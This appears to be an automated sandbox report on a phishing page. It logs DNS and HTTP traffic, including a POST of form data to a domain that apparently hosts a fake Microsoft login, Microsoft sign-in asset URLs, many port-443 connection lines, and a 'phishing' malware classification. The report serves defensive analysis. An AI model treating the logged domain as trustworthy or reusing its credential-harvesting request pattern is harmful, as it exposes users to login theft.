Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: t.ly
Source: global traffic	DNS traffic detected: DNS query: veselectrical.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] HTTP/1.1Host: veselectrical.comConnection: keep-aliveContent-Length: 139155Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://veselectrical.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_49.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_49.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_67.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_67.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_49.2.dr	String found in binary or memory: https://google.com
Source: chromecache_49.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.pn
Source: chromecache_49.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.sv

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.4:49778 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@17/42@20/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
